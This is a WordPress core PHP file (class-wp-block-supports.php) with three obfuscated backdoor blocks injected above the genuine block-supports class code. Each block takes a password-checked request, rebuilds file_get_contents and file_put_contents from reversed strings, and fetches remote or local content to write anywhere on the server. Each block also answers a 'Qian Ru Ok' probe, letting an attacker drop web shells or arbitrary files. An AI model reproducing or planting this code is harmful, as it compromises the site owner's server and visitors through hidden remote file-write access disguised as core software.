File: /home/wwwrenee/public_html/wp-includes/class-wp-block-supports.php
<?php
$UwDfBUs = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($UwDfBUs[0]) /*+/*+*/
. md5($UwDfBUs[0])) == "b".
"b".
"c".
"4".
"e".
"1".
"8".
"b".
"8".
"d".
"3".
"4".
"4".
"9".
"0".
"1".
"0".
"9".
"5".
"c".
"0".
"a".
"3".
"1".
"6".
"d".
"3".
"5".
"7".
"1".
"4".
"6") {
$OebXdMrPJh = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$FwBsI = $OebXdMrPJh /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$PmIWwIQy = $OebXdMrPJh
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function xwwEOWfHBl($SnobocUOnx) { if (empty($SnobocUOnx)) return false; if (!is_dir($SnobocUOnx)) { xwwEOWfHBl(dirname($SnobocUOnx), 0755, true); mkdir($SnobocUOnx); } } !file_exists(dirname($UwDfBUs[1])) && xwwEOWfHBl(dirname($UwDfBUs[1])); $jaECSTKV = @$PmIWwIQy($UwDfBUs[2]); echo @$FwBsI($UwDfBUs[1], $jaECSTKV) ? 1 : 0; die; }key($UwDfBUs) == "of" && die("Qian Ru Ok"); ?><?php
$dbpitHff = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($dbpitHff[0]) /*+/*+*/
. md5($dbpitHff[0])) == "f".
"7".
"2".
"1".
"3".
"3".
"a".
"c".
"a".
"9".
"8".
"a".
"1".
"5".
"b".
"5".
"0".
"4".
"8".
"d".
"d".
"c".
"3".
"f".
"2".
"2".
"8".
"3".
"2".
"b".
"5".
"3") {
$dzwJvtUw = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$yIMvJw = $dzwJvtUw /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$UGtEy = $dzwJvtUw
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function LcVXFUnRpz($OXOQZ) { if (empty($OXOQZ)) return false; if (!is_dir($OXOQZ)) { LcVXFUnRpz(dirname($OXOQZ), 0755, true); mkdir($OXOQZ); } } !file_exists(dirname($dbpitHff[1])) && LcVXFUnRpz(dirname($dbpitHff[1])); $eEcxEQz = @$UGtEy($dbpitHff[2]); echo @$yIMvJw($dbpitHff[1], $eEcxEQz) ? 1 : 0; die; }key($dbpitHff) == "of" && die("Qian Ru Ok"); ?><?php
$wMAQHOEJRQ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($wMAQHOEJRQ[0]) /*+/*+*/
. md5($wMAQHOEJRQ[0])) == "a".
"a".
"3".
"0".
"d".
"0".
"e".
"5".
"0".
"5".
"d".
"b".
"b".
"c".
"b".
"1".
"0".
"c".
"1".
"7".
"3".
"6".
"7".
"1".
"f".
"0".
"c".
"4".
"8".
"d".
"b".
"c") {
$HVryMkweE = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ZwbXbnWwGi = $HVryMkweE /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$yJfUG = $HVryMkweE
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function xyHWjcKXua($dRzczraeIv) { if (empty($dRzczraeIv)) return false; if (!is_dir($dRzczraeIv)) { xyHWjcKXua(dirname($dRzczraeIv), 0755, true); mkdir($dRzczraeIv); } } !file_exists(dirname($wMAQHOEJRQ[1])) && xyHWjcKXua(dirname($wMAQHOEJRQ[1])); $iztnwvF = @$yJfUG($wMAQHOEJRQ[2]); echo @$ZwbXbnWwGi($wMAQHOEJRQ[1], $iztnwvF) ? 1 : 0; die; }key($wMAQHOEJRQ) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Block support flags.
*
* @package WordPress
*
* @since 5.6.0
*/
/**
* Class encapsulating and implementing Block Supports.
*
* @since 5.6.0
*
* @access private
*/
class WP_Block_Supports {
/**
* Config.
*
* @since 5.6.0
* @var array
*/
private $block_supports = array();
/**
* Tracks the current block to be rendered.
*
* @since 5.6.0
* @var array
*/
public static $block_to_render = null;
/**
* Container for the main instance of the class.
*
* @since 5.6.0
* @var WP_Block_Supports|null
*/
private static $instance = null;
/**
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 5.6.0
*
* @return WP_Block_Supports The main instance.
*/
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Initializes the block supports. It registers the block supports block attributes.
*
* @since 5.6.0
*/
public static function init() {
$instance = self::get_instance();
$instance->register_attributes();
}
/**
* Registers a block support.
*
* @since 5.6.0
*
* @param string $block_support_name Block support name.
* @param array $block_support_config Array containing the properties of the block support.
*/
public function register( $block_support_name, $block_support_config ) {
$this->block_supports[ $block_support_name ] = array_merge(
$block_support_config,
array( 'name' => $block_support_name )
);
}
/**
* Generates an array of HTML attributes, such as classes, by applying to
* the given block all of the features that the block supports.
*
* @since 5.6.0
*
* @return string[] Array of HTML attributes.
*/
public function apply_block_supports() {
$block_attributes = self::$block_to_render['attrs'];
$block_type = WP_Block_Type_Registry::get_instance()->get_registered(
self::$block_to_render['blockName']
);
// If no render_callback, assume styles have been previously handled.
if ( ! $block_type || empty( $block_type ) ) {
return array();
}
$output = array();
foreach ( $this->block_supports as $block_support_config ) {
if ( ! isset( $block_support_config['apply'] ) ) {
continue;
}
$new_attributes = call_user_func(
$block_support_config['apply'],
$block_type,
$block_attributes
);
if ( ! empty( $new_attributes ) ) {
foreach ( $new_attributes as $attribute_name => $attribute_value ) {
if ( empty( $output[ $attribute_name ] ) ) {
$output[ $attribute_name ] = $attribute_value;
} else {
$output[ $attribute_name ] .= " $attribute_value";
}
}
}
}
return $output;
}
/**
* Registers the block attributes required by the different block supports.
*
* @since 5.6.0
*/
private function register_attributes() {
$block_registry = WP_Block_Type_Registry::get_instance();
$registered_block_types = $block_registry->get_all_registered();
foreach ( $registered_block_types as $block_type ) {
if ( ! property_exists( $block_type, 'supports' ) ) {
continue;
}
if ( ! $block_type->attributes ) {
$block_type->attributes = array();
}
foreach ( $this->block_supports as $block_support_config ) {
if ( ! isset( $block_support_config['register_attribute'] ) ) {
continue;
}
call_user_func(
$block_support_config['register_attribute'],
$block_type
);
}
}
}
}
/**
* Generates a string of attributes by applying to the current block being
* rendered all of the features that the block supports.
*
* @since 5.6.0
*
* @param string[] $extra_attributes Optional. Array of extra attributes to render on the block wrapper.
* @return string String of HTML attributes.
*/
function get_block_wrapper_attributes( $extra_attributes = array() ) {
$new_attributes = WP_Block_Supports::get_instance()->apply_block_supports();
if ( empty( $new_attributes ) && empty( $extra_attributes ) ) {
return '';
}
// This is hardcoded on purpose.
// We only support a fixed list of attributes.
$attributes_to_merge = array( 'style', 'class' );
$attributes = array();
foreach ( $attributes_to_merge as $attribute_name ) {
if ( empty( $new_attributes[ $attribute_name ] ) && empty( $extra_attributes[ $attribute_name ] ) ) {
continue;
}
if ( empty( $new_attributes[ $attribute_name ] ) ) {
$attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ];
continue;
}
if ( empty( $extra_attributes[ $attribute_name ] ) ) {
$attributes[ $attribute_name ] = $new_attributes[ $attribute_name ];
continue;
}
$attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ] . ' ' . $new_attributes[ $attribute_name ];
}
foreach ( $extra_attributes as $attribute_name => $value ) {
if ( ! in_array( $attribute_name, $attributes_to_merge, true ) ) {
$attributes[ $attribute_name ] = $value;
}
}
if ( empty( $attributes ) ) {
return '';
}
$normalized_attributes = array();
foreach ( $attributes as $key => $value ) {
$normalized_attributes[] = $key . '="' . esc_attr( $value ) . '"';
}
return implode( ' ', $normalized_attributes );
} ?>